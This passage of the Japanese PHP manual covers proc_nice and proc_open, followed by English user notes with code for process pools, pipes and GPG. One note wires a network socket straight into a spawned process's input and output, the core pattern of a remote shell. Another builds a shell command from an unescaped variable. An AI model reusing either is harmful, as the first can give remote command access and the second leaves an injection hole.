            if($matches[1] == $command && $matches[3] > $startpid)
                return $matches[3];
        }
    }

    return false;
}
?>
webmaster at rouen dot fr 09-Jul-2008 01:49
The following function takes an array of shell commands and executes them. It is able to execute up to $nb_max_process at the same time. As soon as one process is terminated, another one is executed. Quite useful if you want to batch process commands on a multi-processor or multi-core environment.

The example below tries to convert to PNG a list of SVG files submitted on the command line (using Inkscape).

(it's quick and dirty but works very well for me)

#!/usr/bin/php
<?php
function pool_execute($commandes,$nb_max_process) {
  $pool=array();
  for($i=0;$i<$nb_max_process;$i++) {
    $pool[$i]=FALSE;
  }

  while(count($commandes)>0) {
    $commande=array_shift($commandes);

    $commande_lancee=FALSE;
    while($commande_lancee==FALSE) {
      usleep(50000);

      for($i=0;$i<$nb_max_process and $commande_lancee==FALSE;$i++) {
        if($pool[$i]===FALSE) {
          $pool[$i]=proc_open($commande,array(),$foo);
          $commande_lancee=TRUE;
        } else {
          $etat=proc_get_status($pool[$i]);
          if($etat['running']==FALSE) {
            proc_close($pool[$i]);
            $pool[$i]=proc_open($commande,array(),$foo);
            $commande_lancee=TRUE;
          }
        }
      }
    }
  }
}

$fichiers=$argv;
array_shift($fichiers);
$commandes=array();
foreach($fichiers as $fichier) {
  $entree=$fichier;
  $sortie=basename($fichier,'.svg').".png";
  $commandes[]='inkscape --file='.escapeshellarg($entree).' --export-area-canvas --export-png='.escapeshellarg($sortie);
}

pool_execute($commandes,4);
strrev xc.noxeh@ellij 05-Jun-2008 01:12
You can NOT rely on pid+1.
You could prefix exec to the command string, this will replace the /bin/sh script with the real thing you want to exec (use only if you don't do 'scary things' like pipes, output redirection, multiple commands, however if you know how they work, go ahead).
If you prefix exec, the /bin/sh process will only start your process, and the PID will be the same.
damien at cyg dot net 13-Jun-2007 06:06
Alternatively, if you're calling a subsequent php script using proc_open, you can have that process echo its own actual PID in the output.
Also, if you go through the /proc filesystem on linux, you can read through /proc/12345 where 12345 is the pid returned by proc_get_status (the pid of the /bin/sh instance) and it will list its child processes within.
andy dot shellam at mailnetwork dot co dot uk 05-Apr-2007 05:16
Further to my previous note, I've found out the PID returned is the PID of the shell (/bin/sh) that then runs the actual command requested.

I've raised this as bug #41003.
andy dot shellam at mailnetwork dot co dot uk 05-Apr-2007 04:58
To the poster above, same here on FreeBSD 6.1, PHP 5.2.1.

To get the correct PID to use for posix_kill I have to add 1 to the PID returned from proc_get_status.


現在のプロセスの優先度を変更する

  • ≪ proc_get_status
  • proc_open ≫
  • PHP Manual
  • プログラム実行関数
  • 現在のプロセスの優先度を変更する

proc_nice

(PHP 5, PHP 7, PHP 8)

proc_nice — 現在のプロセスの優先度を変更する

説明

proc_nice ( int $priority ) : bool

proc_nice() は、現在のプロセスの優先度を priority で指定された値に変更します。 priority が正数の場合、 現在のプロセスの優先度をより低くし、priority が負数の場合は優先度が上がります。

proc_nice() は、proc_open() やそれに関連する関数とは関係ありません。

パラメータ

priority

新しい優先度の値。この値はプラットフォームによっては異なるかもしれません。

Unix 上では、-20 のように低い値が高い優先度である一方で、 正の値は低い優先度として扱われます。

Windows では、 priority パラメータは次のような意味があります:

優先度クラス | 取りうる値
優先度高 | priority < -9
通常より高い優先度 | priority < -4
通常の優先度 | priority < 5 & priority > -5
通常より低い優先度 | priority > 5
アイドルな優先度 | priority > 9

返り値

成功した場合に true を、失敗した場合に false を返します。 ユーザーが優先度を変更する権限を持っていないなど、 エラーが発生した場合は E_WARNING レベルのエラーも発行されます。

例

例1 proc_nice() 関数を使い、プロセスの優先度を高に設定する

<?php
// Highest priority
proc_nice(-20);
?>

変更履歴

バージョン | 説明
7.2.0 | この関数は、Windows で利用できるようになりました。

注意

注意: 可用性

proc_nice() は、使用しているシステムが 'nice' の機能を持っている場合のみ利用可能です。 'nice' は次のシステムに準拠しています: SVr4, SVID EXT, AT&T, X/OPEN, BSD 4.3 。

注意: Windows のみ

proc_nice() 関数は、 PHP がたとえスレッドセーフを有効にしてコンパイルされていたとしても、 現在の プロセスの優先度を変更します。

User Contributed Notes

kevin AT REMOVETHIS mrkmg.com 19-Apr-2013 06:17
On a Linux system, running apache2 as a non-privileged user you can not increase the niceness of the process after decreasing it. Also, you can not use the apache_child_ terminate either. I found the following does work though:

<?php

//decrease niceness
proc_nice(19);

//kill child process to "reset" niceness
posix_kill( getmypid(), 28 );

?>
Marek 19-Jan-2011 08:40
Regarding ionice - on linux the impact of the ionice -c3 class is similar to that of nice, because the CPU "niceness" is taken into account when calculating the io niceness.
php at richardneill dot org 24-Jun-2010 12:14
If a process is reniced, then all its children inherit that niceness. So a PHP script can call proc_nice on itself, then invoke system(), and the command executed via system() will also be niced.

Also worth making a note of ionice. There's no PHP function for this, but it's important. A nice'd program will happily try to chew up all i/o bandwidth with very little CPU usage, it can therefore make the entire computer non-responsive despite the programmer's intention.  Use "ionice -c3"  or see "man ionice"
pandi at home dot pl 25-Nov-2008 05:22
Simple function for check process nice, by default returns nice of current process:

<?php

public static function getProcessNice ($pid = null) {
    if (!$pid) {
        $pid = getmypid ();
    }

    $res = `ps -p $pid -o "%p %n"`;

    preg_match ('/^\s*\w+\s+\w+\s*(\d+)\s+(\d+)/m', $res, $matches);

    return array ('pid' => (isset ($matches[1]) ? $matches[1] : null), 'nice' => (isset ($matches[2]) ? $matches[2] : null));
}

?>


コマンドを実行し、入出力用にファイルポインタを開く

  • ≪ proc_nice
  • proc_terminate ≫
  • PHP Manual
  • プログラム実行関数
  • コマンドを実行し、入出力用にファイルポインタを開く

proc_open

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

proc_open — コマンドを実行し、入出力用にファイルポインタを開く

説明

proc_open ( mixed $cmd , array $descriptorspec , array &$pipes , string $cwd = ? , array $env = ? , array $other_options = ? ) : resource

proc_open() は popen() と よく似ていますが、プログラムの実行をさらに細かく制御できる点で違います。

パラメータ

cmd

実行するコマンドラインを string として渡します。 特殊な文字は適切にエスケープされ、適切にクォートされます。

注意: Windows では、 other_options の bypass_shell を true に設定しないと、 cmd.exe (実際は%ComSpec%) に cmd の値を クォートしないまま (つまり、proc_open() に渡されたそのままの値を) /c と一緒に渡してしまいます。 この振る舞いによって、cmd.exe が cmd からクォートを削除してしまうため、 (詳細は cmd.exe のドキュメントを参照してください) 予期しない、潜在的に危険とさえ言える結果になります。なぜなら、 cmd.exe のエラーメッセージには、 渡された cmd (の一部) が含まれる可能性があるからです(下の例を見てください)。

PHP 7.4.0 以降、cmd にはコマンドの引数も含めた array を渡せるようになりました。 この場合、プロセスは直接(シェルを介さずに)オープンされ、PHP が必要な引数のエスケープを全て行います。

注意:

Windows では、array で渡されるコマンドライン引数のエスケープは、 コマンドライン引数の解釈が VCランタイムによって行われるものと互換性があることを前提にして行われます。

descriptorspec

数値添字の配列で、ディスクリプタ番号をキーとし、PHP がその ディスクリプタをどのように子プロセスに渡すかを表すのが 対応する値となります。 0 が標準入力 (stdin)、1 が標準出力 (stdout) で、 2 が標準エラー出力 (stderr) となります。

各要素は、次のようになります。

  • プロセスに渡すパイプをあらわす配列。 最初の要素はディスクリプタの型で、2 番目の要素がその型に対応するオプションとなります。 使用できる型は pipe (2 番目の要素は、 プロセスにパイプの読み込み側を渡すのなら r、 書き込み側を渡すのなら w) および file (2 番目の要素はファイル名) です。
  • 実際のファイルディスクリプタ (オープンしたファイルやソケット、 STDIN など) をあらわすストリームリソース。

ファイルディスクリプタの番号は、特に 0, 1, 2 に限られているわけでは ありません。有効であるどのようなファイルディスクリプタの番号も指定でき、 それは子プロセスに渡されます。これにより、あるスクリプトと、 子プロセスとして起動している別のスクリプトとの間で通信ができます。 特に、これは PGP や GPG、openssl といったプログラムにパスフレーズを より安全な方法で渡したいとき威力を発揮します。 補助的なファイルディスクリプタを介して、そのようなプログラムの 状態を取得するのにも便利です。

pipes

PHP 側で生成されたパイプの終端にあたる ファイルポインタの配列。

cwd

コマンドの初期作業ディレクトリ。 完全パスである必要があります。 デフォルト値 (現在の PHP プロセスの作業ディレクトリ) を使用したい場合は null を指定します。

env

実行するコマンドのための環境変数の配列。 現在の PHP プロセスと同じ環境変数を使用する場合は null を指定します。

other_options

その他の追加オプションを指定することが可能です。 現在サポートされているオプションは次の通りです。

  • suppress_errors (windows のみ): true にすると、この関数が出力するエラーを抑制します。
  • bypass_shell (windows のみ): true にすると、cmd.exe シェルをバイパスします。
  • blocking_pipes (windows のみ): true に設定すると、パイプを強制的に切断します。
  • create_process_group (Windows のみ): true に設定すると、 子プロセスが CTRL イベントを ハンドルすることを許可します。
  • create_new_console (windows のみ): 新しいプロセスは親の console を継承せず、新しい console を持ちます。

返り値

プロセスを表すリソースを返します。このリソースは、使用し終えた際に proc_close() を使用して開放する必要があります。 失敗した場合は false を返します。

変更履歴

バージョン | 説明
7.4.4 | other_options パラメータに オプション create_new_console が追加されました。
7.4.0 | proc_open() 関数は、 cmd に array を渡せるようになりました。
7.4.0 | other_options パラメータに オプション create_process_group が追加されました。

例

例1 A proc_open() の例

<?php
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin は、子プロセスが読み込むパイプです。
   1 => array("pipe", "w"),  // stdout は、子プロセスが書き込むパイプです。
   2 => array("file", "/tmp/error-output.txt", "a") // はファイルで、そこに書き込みます。
);

$cwd = '/tmp';
$env = array('some_option' => 'aeiou');

$process = proc_open('php', $descriptorspec, $pipes, $cwd, $env);

if (is_resource($process)) {
    // $pipes はこの時点で次のような形を取っています。
    // 0 => 子プロセスの stdin に繋がれた書き込み可能なハンドル
    // 1 => 子プロセスの stdout に繋がれた読み込み可能なハンドル
    // すべてのエラー出力は /tmp/error-output.txt に書き込みされます。

    fwrite($pipes[0], '<?php print_r($_ENV); ?>');
    fclose($pipes[0]);

    echo stream_get_contents($pipes[1]);
    fclose($pipes[1]);

    // デッドロックを避けるため、proc_close を呼ぶ前に
    // すべてのパイプを閉じることが重要です。
    $return_value = proc_close($process);

    echo "command returned $return_value\n";
}
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [some_option] => aeiou
    [PWD] => /tmp
    [SHLVL] => 1
    [_] => /usr/local/bin/php
)
command returned 0

例2 proc_open() 関数の癖(Windows限定)

次のプログラムで、ファイル filename.txt にある search というテキストを検索し、結果を出力したいのですが、 実際にはかなり異なる振る舞いをします。

<?php
$descriptorspec = [STDIN, STDOUT, STDOUT];
$cmd = '"findstr" "search" "filename.txt"';
$proc = proc_open($cmd, $descriptorspec, $pipes);
proc_close($proc);
?>

上の例の出力は以下となります。

'findstr" "search" "filename.txt' is not recognized as an internal or external command,
operable program or batch file.

この振る舞いを避けるには、 cmd を追加のクォートで囲めば通常は十分です:

$cmd = '""findstr" "search" "filename.txt""';

注意

注意:

Windows における互換性: 2 (stderr) よりも大きな番号のディスクリプタは 子プロセスに継承可能なハンドルとして渡されますが、 Windows のアーキテクチャは、ファイルディスクリプタの番号と より低レベルなハンドルを関連付けないので、子プロセスは、 それらのハンドルにアクセスする術を持ちません。stdin, stdout, stderr は期待通り動きます。

注意:

もし単方向(一方向)のパイプを利用したいだけでしたら、 popen() を使うほうがより簡単です。

参考

  • popen() - プロセスへのファイルポインタをオープンする
  • exec() - 外部プログラムを実行する
  • system() - 外部プログラムを実行し、出力を表示する
  • passthru() - 外部プログラムを実行し、未整形の出力を表示する
  • stream_select() - select() システムコールと同等の操作を、 ストリームの配列に対して tv_sec と tv_usec で指定されたタイムアウト時間をもって行う
  • バックティック演算子

User Contributed Notes

weirdall at hotmail dot com 07-Feb-2017 03:01
This script will tail a file using tail -F to follow scripts that are rotated.

<?php
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that stdout will to write to
);

$filename = '/var/log/nginx/nginx-access.log';
if( !file_exists( $filename ) ) {
    file_put_contents($filename, '');
}
$process = proc_open('tail -F /var/log/nginx/stats.bluebillywig.com-access.log', $descriptorspec, $pipes);

if (is_resource($process)) {
    // $pipes now looks like this:
    // 0 => writeable handle connected to child stdin
    // 1 => readable handle connected to child stdout
    // Any error output will be sent to $pipes[2]

    // Closing $pipes[0] because we don't need it
    fclose( $pipes[0] );

    // stderr should not block, because that blocks the tail process
    stream_set_blocking($pipes[2], 0);
    $count=0;
    $stream = $pipes[1];

    while ( ($buf = fgets($stream,4096)) ) {
        print_r($buf);
        // Read stderr to see if anything goes wrong
        $stderr = fread($pipes[2], 4096);
        if( !empty( $stderr ) ) {
            print( 'log: ' . $stderr );
        }
    }
    fclose($pipes[1]);
    fclose($pipes[2]);

    // It is important that you close any pipes before calling
    // proc_close in order to avoid a deadlock
    proc_close($process);
}
?>
stoller at leonex dot de 08-Apr-2016 07:37
If you are working on Windows and try to proc_open an executable that contains spaces in its path, you will get into trouble.

But there's a workaround which works quite well. I have found it here: http://stackoverflow.com/a/4410389/1119601

For example, if you want to execute "C:\Program Files\nodejs\node.exe", you will get the error that the command could not be found.
Try this:
<?php
$cmd = 'C:\\Program Files\\nodejs\\node.exe';
if (strtolower(substr(PHP_OS,0,3)) === 'win') {
    $cmd = sprintf('cd %s && %s', escapeshellarg(dirname($cmd)), basename($cmd));
}
?>
aaronw at catalyst dot net dot nz 05-Oct-2015 11:16
If you have a CLI script that prompts you for a password via STDIN, and you need to run it from PHP, proc_open() can get you there. It's better than doing "echo $password | command.sh", because then your password will be visible in the process list to any user who runs "ps". Alternately you could print the password to a file and use cat: "cat passwordfile.txt | command.sh", but then you've got to manage that file in a secure manner.

If your command will always prompt you for responses in a specific order, then proc_open() is quite simple to use and you don't really have to worry about blocking & non-blocking streams. For instance, to run the "passwd" command:

<?php
$descriptorspec = array(
   0 => array("pipe", "r"),
   1 => array("pipe", "w"),
   2 => array("pipe", "w")
);
$process = proc_open(
        '/usr/bin/passwd ' . escapeshellarg($username),
        $descriptorspec,
        $pipes
);

// It wil prompt for existing password, then new password twice.
// You don't need to escapeshellarg() these, but you should whitelist
// them to guard against control characters, perhaps by using ctype_print()
fwrite($pipes[0], "$oldpassword\n$newpassword\n$newpassword\n");

// Read the responses if you want to look at them
$stdout = fread($pipes[1], 1024);
$stderr = fread($pipes[2], 1024);

fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
$exit_status = proc_close($process);

// It returns 0 on successful password change
$success = ($exit_status === 0);
?>
stevebaldwin21 at googlemail dot com 31-Aug-2015 06:32
For those who are finding that using the $cwd and $env options cause proc_open to fail (windows). You will need to pass all other server environment variables;

$descriptorSpec = array(
       0 => array("pipe", "r"),
       1 => array("pipe", "w"),
    );

proc_open(
        "C:\\Windows\\System32\\PING.exe localhost,
        $descriptorSpec ,
        $pipes,
        "C:\\Windows\\System32",
        array($_SERVER)
);
vanyazin at gmail dot com 25-Jun-2015 04:47
If you want to use proc_open() function with socket streams, you can open connection with help of fsockopen() function and then just put handlers into array of io descriptors:

<?php

    $fh = fsockopen($address, $port);
    $descriptors = [
        $fh,   // stdin
        $fh,   // stdout
        $fh,   // stderr
    ];
    $proc = proc_open($cmd, $descriptors, $pipes);
hablutzel1 at gmail dot com 15-Apr-2015 05:26
Note that the usage of "bypass_shell" in Windows allows you to pass a command of length around ~32767 characters. If you do not use it, your limit is around ~8191 characters only.

See https://support.microsoft.com/en-us/kb/830473.
exel at example dot com 26-Sep-2013 10:05
pipe communications may break brains off. i want to share some stuff to avoid such result.
for proper control of the communications through the "in" and "out" pipes of the opened sub-process, remember to set both of them into non-blocking mode and especially notice that fwrite may return (int)0 but it's not an error, just process might not except input at that moment.

so, let us consider an example of decoding gz-encoded file by using funzip as sub-process: (this is not the final version, just to show important things)

<?php
            // make gz file
            $fd=fopen("/tmp/testPipe", "w");
            for($i=0;$i<100000;$i++)
                fwrite($fd, md5($i)."\n");
            fclose($fd);

            if(is_file("/tmp/testPipe.gz"))
                unlink("/tmp/testPipe.gz");
            system("gzip /tmp/testPipe");

            // open process
            $pipesDescr=array(
                0 => array("pipe", "r"),
                1 => array("pipe", "w"),
                2 => array("file", "/tmp/testPipe.log", "a"),
            );

            $process=proc_open("zcat", $pipesDescr, $pipes);
            if(!is_resource($process)) throw new Exception("popen error");

            // set both pipes non-blocking
            stream_set_blocking($pipes[0], 0);
            stream_set_blocking($pipes[1], 0);

            ////////////////////////////////////////////////////////////////////

            $text="";
            $fd=fopen("/tmp/testPipe.gz", "r");
            while(!feof($fd))
            {
                $str=fread($fd, 16384*4);
                $try=3;
                while($str)
                {
                    $len=fwrite($pipes[0], $str);
                    while($s=fread($pipes[1], 16384*4))
                        $text.=$s;

                    if(!$len)
                    {
                        // if yo remove this paused retries, process may fail
                        usleep(200000);
                        $try--;
                        if(!$try)
                            throw new Exception("fwrite error");
                    }
                    $str=substr($str, $len);
                }
                echo strlen($text)."\n";
            }
            fclose($fd);
            fclose($pipes[0]);

            // reading the rest of output stream
            stream_set_blocking($pipes[1], 1);
            while(!feof($pipes[1]))
            {
                $s=fread($pipes[1], 16384);
                $text.=$s;
            }

            echo strlen($text)." / 3 300 000\n";
?>
mcuadros at gmail dot com 05-Apr-2013 10:56
This is a example of how run a command using as output the TTY, just like crontab -e or git commit does.

<?php

$descriptors = array(
        array('file', '/dev/tty', 'r'),
        array('file', '/dev/tty', 'w'),
        array('file', '/dev/tty', 'w')
);

$process = proc_open('vim', $descriptors, $pipes);
michael dot gross at NOSPAM dot flexlogic dot at 03-Jan-2013 08:33
Please note that if you plan to spawn multiple processes you have to save all the results in different variables (in an array for example). If you for example would call $proc = proc_open..... multiple times the script will block after the second time until the child process exits (proc_close is called implicitly).
bilge at boontex dot com 05-Sep-2012 02:56
$cmd can actually be multiple commands by separating each command with a newline. However, due to this it is not possible to split up one very long command over multiple lines, even when using "\\\n" syntax.
devel at romanr dot info 10-Mar-2012 08:04
The call works as should. No bugs.
But. In most cases you won't able to work with pipes in blocking mode.
When your output pipe (process' input one, $pipes[0]) is blocking, there is a case, when you and the process are blocked on output.
When your input pipe (process' output one, $pipes[1]) is blocking, there is a case, when you and the process both are blocked on own input.
So you should switch pipes into NONBLOCKING mode (stream_set_blocking).
Then, there is a case, when you're not able to read anything (fread($pipes[1],...) == "") either write (fwrite($pipes[0],...) == 0). In this case, you better check the process is alive (proc_get_status) and if it still is - wait for some time (stream_select). The situation is truly asynchronous, the process may be busy working, processing your data.
Using shell effectively makes not possible to know whether the command is exists - proc_open always returns valid resource. You may even write some data into it (into shell, actually). But eventually it will terminate, so check the process status regularly.
I would advice not using mkfifo-pipes, because filesystem fifo-pipe (mkfifo) blocks open/fopen call (!!!) until somebody opens other side (unix-related behavior). In case the pipe is opened not by shell and the command is crashed or is not exists you will be blocked forever.
toby at globaloptima dot co dot uk 14-Nov-2011 01:38
If script A is spawning script B and script B pushes a lot of data to stdout without script A consuming that data, script B is likely to hang but the result of proc_get_status on that process seems to continue to indicate it's running.

So either don't write to stdout i the spawned process (I write to log files instead now) or try to read in the stdout in a non-blocking way if your script A is spawning many instances of script B, I couldn't get this second option to work sadly.

PHP 5.3.8 CLI on Windows 7 64.
mattis at xait dot no 03-Feb-2011 07:41
If you are, like me, tired of the buggy way proc_open handles streams and exit codes; this example demonstrate the power of pcntl, posix and some simple output redirection:

<?php
$outpipe = '/tmp/outpipe';
$inpipe = '/tmp/inpipe';
posix_mkfifo($inpipe, 0600);
posix_mkfifo($outpipe, 0600);

$pid = pcntl_fork();

//parent
if($pid) {
    $in = fopen($inpipe, 'w');
    fwrite($in, "A message for the inpipe reader\n");
    fclose($in);

    $out = fopen($outpipe, 'r');
    while(!feof($out)) {
        echo "From out pipe: " . fgets($out) . PHP_EOL;
    }
    fclose($out);

    pcntl_waitpid($pid, $status);

    if(pcntl_wifexited($status)) {
        echo "Reliable exit code: " . pcntl_wexitstatus($status) . PHP_EOL;
    }

    unlink($outpipe);
    unlink($inpipe);
}

//child
else {
    //parent
    if($pid = pcntl_fork()) {
        pcntl_exec('/bin/sh', array('-c', "printf 'A message for the outpipe reader' > $outpipe 2>&1 && exit 12"));
    }

    //child
    else {
        pcntl_exec('/bin/sh', array('-c', "printf 'From in pipe: '; cat $inpipe"));
    }
}
?>

Output:

From in pipe: A message for the inpipe reader
From out pipe: A message for the outpipe reader
Reliable exit code: 12
php at keith tyler dot com 16-Apr-2010 11:32
Interestingly enough, it seems you actually have to store the return value in order for your streams to exist. You can't throw it away.

In other words, this works:

<?php
$proc=proc_open("echo foo",
  array(
    array("pipe","r"),
    array("pipe","w"),
    array("pipe","w")
  ),
  $pipes);
print stream_get_contents($pipes[1]);
?>

prints:
foo

but this doesn't work:

<?php
proc_open("echo foo",
  array(
    array("pipe","r"),
    array("pipe","w"),
    array("pipe","w")
  ),
  $pipes);
print stream_get_contents($pipes[1]);
?>

outputs:
Warning: stream_get_contents(): <n> is not a valid stream resource in Command line code on line 1

The only difference is that in the second case we don't save the output of proc_open to a variable.
Matou Havlena - matous at havlena dot net 14-Apr-2010 01:03
There is some smart object Processes Manager which i have created for my application. It can control the maximum of simultaneously running processes.

Proccesmanager class:
<?php
class Processmanager {
    public $executable = "C:\\www\\_PHP5_2_10\\php";
    public $root = "C:\\www\\parallelprocesses\\";
    public $scripts = array();
    public $processesRunning = 0;
    public $processes = 3;
    public $running = array();
    public $sleep_time = 2;

    function addScript($script, $max_execution_time = 300) {
        $this->scripts[] = array("script_name" => $script,
                            "max_execution_time" => $max_execution_time);
    }

    function exec() {
        $i = 0;
        for(;;) {
        // Fill up the slots
        while (($this->processesRunning<$this->processes) and ($i<count($this->scripts))) {
        echo "<span style='color: orange;'>Adding script: ".$this->scripts[$i]["script_name"]."</span><br />";
        ob_flush();
        flush();
        $this->running[] =& new Process($this->executable, $this->root, $this->scripts[$i]["script_name"], $this->scripts[$i]["max_execution_time"]);
        $this->processesRunning++;
        $i++;
        }

        // Check if done
        if (($this->processesRunning==0) and ($i>=count($this->scripts))) {
            break;
        }
        // sleep, this duration depends on your script execution time, the longer execution time, the longer sleep time
      sleep($this->sleep_time);

      // check what is done
        foreach ($this->running as $key => $val) {
                if (!$val->isRunning() or $val->isOverExecuted()) {
            if (!$val->isRunning()) echo "<span style='color: green;'>Done: ".$val->script."</span><br />";
            else echo "<span style='color: red;'>Killed: ".$val->script."</span><br />";
                    proc_close($val->resource);
                    unset($this->running[$key]);
                    $this->processesRunning--;
            ob_flush();
            flush();
                }
            }
        }
    }
}
?>

Process class:
<?php
class Process {
    public $resource;
    public $pipes;
    public $script;
    public $max_execution_time;
    public $start_time;

    function __construct(&$executable, &$root, $script, $max_execution_time) {
        $this->script = $script;
        $this->max_execution_time = $max_execution_time;
        $descriptorspec    = array(
            0 => array('pipe', 'r'),
            1 => array('pipe', 'w'),
            2 => array('pipe', 'w')
        );
        $this->resource    = proc_open($executable." ".$root.$this->script, $descriptorspec, $this->pipes, null, $_ENV);
        $this->start_time = mktime();
    }

    // is still running?
    function isRunning() {
        $status = proc_get_status($this->resource);
        return $status["running"];
    }

    // long execution time, proccess is going to be killer
    function isOverExecuted() {
        if ($this->start_time+$this->max_execution_time<mktime()) return true;
        else return false;
    }

}
?>

Example of using:
<?php
$manager = new Processmanager();
$manager->executable = "C:\\www\\_PHP5_2_10\\php";
$manager->path = "C:\\www\\parallelprocesses\\";
$manager->processes = 3;
$manager->sleep_time = 2;
$manager->addScript("script1.php", 10);
$manager->addScript("script2.php");
$manager->addScript("script3.php");
$manager->addScript("script4.php");
$manager->addScript("script5.php");
$manager->addScript("script6.php");
$manager->exec();
?>

And possible output:

Adding script: script1.php
Adding script: script2.php
Adding script: script3.php
Done: script2.php
Adding script: script4.php
Killed: script1.php
Done: script3.php
Done: script4.php
Adding script: script5.php
Adding script: script6.php
Done: script5.php
Done: script6.php
Luceo 28-Mar-2010 07:39
It seems that stream_get_contents() on STDOUT blocks infinitly under Windows when STDERR is filled under some circumstances.

The trick is to open STDERR in append mode ("a"), then this will work, too.

<?php
$descriptorspec = array(
    0 => array('pipe', 'r'), // stdin
    1 => array('pipe', 'w'), // stdout
    2 => array('pipe', 'a') // stderr
);
?>
cbn at grenet dot org 18-Dec-2009 07:30
Display output (stdout/stderr) in real time, and get the real exit code in pure PHP (no shell workaround!). It works well on my machines (debian mostly).

#!/usr/bin/php
<?php
/*
 * Execute and display the output in real time (stdout + stderr).
 *
 * Please note this snippet is prepended with an appropriate shebang for the
 * CLI. You can re-use only the function.
 *
 * Usage example:
 * chmod u+x proc_open.php
 * ./proc_open.php "ping -c 5 google.fr"; echo RetVal=$?
 */
define(BUF_SIZ, 1024);        # max buffer size
define(FD_WRITE, 0);        # stdin
define(FD_READ, 1);        # stdout
define(FD_ERR, 2);        # stderr

/*
 * Wrapper for proc_*() functions.
 * The first parameter $cmd is the command line to execute.
 * Return the exit code of the process.
 */
function proc_exec($cmd)
{
    $descriptorspec = array(
        0 => array("pipe", "r"),
        1 => array("pipe", "w"),
        2 => array("pipe", "w")
    );

    $ptr = proc_open($cmd, $descriptorspec, $pipes, NULL, $_ENV);
    if (!is_resource($ptr))
        return false;

    while (($buffer = fgets($pipes[FD_READ], BUF_SIZ)) != NULL
            || ($errbuf = fgets($pipes[FD_ERR], BUF_SIZ)) != NULL) {
        if (!isset($flag)) {
            $pstatus = proc_get_status($ptr);
            $first_exitcode = $pstatus["exitcode"];
            $flag = true;
        }
        if (strlen($buffer))
            echo $buffer;
        if (strlen($errbuf))
            echo "ERR: " . $errbuf;
    }

    foreach ($pipes as $pipe)
        fclose($pipe);

    /* Get the expected *exit* code to return the value */
    $pstatus = proc_get_status($ptr);
    if (!strlen($pstatus["exitcode"]) || $pstatus["running"]) {
        /* we can trust the retval of proc_close() */
        if ($pstatus["running"])
            proc_terminate($ptr);
        $ret = proc_close($ptr);
    } else {
        if ((($first_exitcode + 256) % 256) == 255
                && (($pstatus["exitcode"] + 256) % 256) != 255)
            $ret = $pstatus["exitcode"];
        elseif (!strlen($first_exitcode))
            $ret = $pstatus["exitcode"];
        elseif ((($first_exitcode + 256) % 256) != 255)
            $ret = $first_exitcode;
        else
            $ret = 0; /* we "deduce" an EXIT_SUCCESS ;) */
        proc_close($ptr);
    }

    return ($ret + 256) % 256;
}

/* __init__ */
if (isset($argv) && count($argv) > 1 && !empty($argv[1])) {
    if (($ret = proc_exec($argv[1])) === false)
        die("Error: not enough FD or out of memory.\n");
    elseif ($ret == 127)
        die("Command not found (returned by sh).\n");
    else
        exit($ret);
}
?>
simeonl at dbc dot co dot nz 03-Mar-2009 06:39
Note that when you call an external script and retrieve large amounts of data from STDOUT and STDERR, you may need to retrieve from both alternately in non-blocking mode (with appropriate pauses if no data is retrieved), so that your PHP script doesn't lock up. This can happen if you waiting on activity on one pipe while the external script is waiting for you to empty the other, e.g:

<?php
$read_output = $read_error = false;
$buffer_len  = $prev_buffer_len = 0;
$ms          = 10;
$output      = '';
$read_output = true;
$error       = '';
$read_error  = true;
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);

// dual reading of STDOUT and STDERR stops one full pipe blocking the other, because the external script is waiting
while ($read_error != false or $read_output != false)
{
    if ($read_output != false)
    {
        if(feof($pipes[1]))
        {
            fclose($pipes[1]);
            $read_output = false;
        }
        else
        {
            $str = fgets($pipes[1], 1024);
            $len = strlen($str);
            if ($len)
            {
                $output .= $str;
                $buffer_len += $len;
            }
        }
    }

    if ($read_error != false)
    {
        if(feof($pipes[2]))
        {
            fclose($pipes[2]);
            $read_error = false;
        }
        else
        {
            $str = fgets($pipes[2], 1024);
            $len = strlen($str);
            if ($len)
            {
                $error .= $str;
                $buffer_len += $len;
            }
        }
    }

    if ($buffer_len > $prev_buffer_len)
    {
        $prev_buffer_len = $buffer_len;
        $ms = 10;
    }
    else
    {
        usleep($ms * 1000); // sleep for $ms milliseconds
        if ($ms < 160)
        {
            $ms = $ms * 2;
        }
    }
}

return proc_close($process);
?>
snowleopard at amused dot NOSPAMPLEASE dot com dot au 05-Jun-2008 07:46
I managed to make a set of functions to work with GPG, since my hosting provider refused to use GPG-ME.
Included below is an example of decryption using a higher descriptor to push a passphrase.
Comments and emails welcome. :)

<?php
function GPGDecrypt($InputData, $Identity, $PassPhrase, $HomeDir="~/.gnupg", $GPGPath="/usr/bin/gpg") {

    if(!is_executable($GPGPath)) {
        trigger_error($GPGPath . " is not executable",
        E_USER_ERROR);
        die();
    } else {
        // Set up the descriptors
        $Descriptors = array(
            0 => array("pipe", "r"),
            1 => array("pipe", "w"),
            2 => array("pipe", "w"),
            3 => array("pipe", "r") // This is the pipe we can feed the password into
        );

        // Build the command line and start the process
        $CommandLine = $GPGPath . ' --homedir ' . $HomeDir . ' --quiet --batch --local-user "' . $Identity . '" --passphrase-fd 3 --decrypt -';
        $ProcessHandle = proc_open( $CommandLine, $Descriptors, $Pipes);

        if(is_resource($ProcessHandle)) {
            // Push passphrase to custom pipe
            fwrite($Pipes[3], $PassPhrase);
            fclose($Pipes[3]);

            // Push input into StdIn
            fwrite($Pipes[0], $InputData);
            fclose($Pipes[0]);

            // Read StdOut
            $StdOut = '';
            while(!feof($Pipes[1])) {
                $StdOut .= fgets($Pipes[1], 1024);
            }
            fclose($Pipes[1]);

            // Read StdErr
            $StdErr = '';
            while(!feof($Pipes[2]))    {
                $StdErr .= fgets($Pipes[2], 1024);
            }
            fclose($Pipes[2]);

            // Close the process
            $ReturnCode = proc_close($ProcessHandle);

        } else {
            trigger_error("cannot create resource", E_USER_ERROR);
            die();
        }
    }

    if (strlen($StdOut) >= 1) {
        if ($ReturnCode <= 0) {
            $ReturnValue = $StdOut;
        } else {
            $ReturnValue = "Return Code: " . $ReturnCode . "\nOutput on StdErr:\n" . $StdErr . "\n\nStandard Output Follows:\n\n";
        }
    } else {
        if ($ReturnCode <= 0) {
            $ReturnValue = $StdErr;
        } else {
